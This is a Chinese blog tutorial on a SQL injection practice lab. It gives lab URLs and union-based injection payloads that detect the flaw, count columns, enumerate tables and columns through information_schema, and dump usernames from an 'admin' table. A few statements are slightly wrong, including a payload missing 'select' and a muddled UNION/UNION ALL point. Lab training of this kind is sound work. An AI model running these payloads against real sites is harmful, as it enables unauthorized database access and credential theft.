猫舍靶场

靶场练习链接:

http://59.63.200.79:8003/?id=1

http://117.167.136.245:10180/?id=1

大体思路:

判断注入点 -》 猜解表名 -》 猜解列名 -》 爆出字段内容

  1. 判断是否存在SQL注入漏洞
  2. 判断字段数量
  3. 根据上步字段数量,联合查询判断回显位
  4. 查询相关信息,比如数据库,版本等等

实验过程记录:

1:判断是否有SQL注入漏洞:

?id=1 and 1=1

?id=1 and 1=2

 2:判断字段数:

?id=1 and 1=1 order by num

普及下 order by 的知识点:

  1. ORDER BY 语句用于根据指定的列对结果集进行排序

  2. ORDER BY 语句默认按照升序对记录进行排序。

  3. 如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。

当用户提供的数据通过数据库的“Order By”语句中的值进行传递时,如果SQL查询中存在语法错误,那么应用程序就会抛出数据库错误。

3:判断回显点:

?id=1 and 1=2 union 1,2,3,4,num

根据判断出的字段数联合查询回显位

介绍下union 联合注入,是将两个SQL语句进行联合且列数相同(这就是为甚要判断字段的原因)

当使用联合查询的时候,前面一个语句显示为空的时候,后面语句的内容就显示了出来

union all 与 union 的区别是增加了去重的功能

union all (不去重)

图我就不贴了

查询数据库名:

?id=1 and 1=2 union select 1,database()   换成version()    则是版本信息

联合查询查第一个表名:

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1     

普及下里面的一些细节问题,如果觉得还不明白,可以在评论处留言:

Mysql默认在数据库中存放一个"information_schema"的数据库

table_schema 指定数据库

information_schema.tables   这里存放MySQL所有的库表和字段

group_concat(table_name)      可查所有表名       limit 限制查询条数

group_concat函数:

分组中的值连接成一个字符串(所以要结合GROUP BY 使用),将该字符串返回(主要用于分组显示的),默认以逗号分割,group_concat(table_name separator '-')     separator 指定分隔符

concat函数:

将多个字段链接成一个字符串(主要用于连接不同字段的),默认连接字段之间没有分隔符,如果想使用分隔符的话,就使用这个函数CONCAT_WS()

concat_ws(',',name,image)

  

查字段名:

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1     

重要的是理解原理,语句都是类似的

?id=1 and 1=2 union select 1,username from admin limit 0,1

 ?id=1 and 1=2 union select 1,username from admin limit 0,1

SQL注入内置函数:

user()  当前数据库用户名

version()  数据库版本信息

请将你学到的知识分享给他人,感谢传递。
原文地址:https://www.cnblogs.com/weaKn19ht/p/12032297.html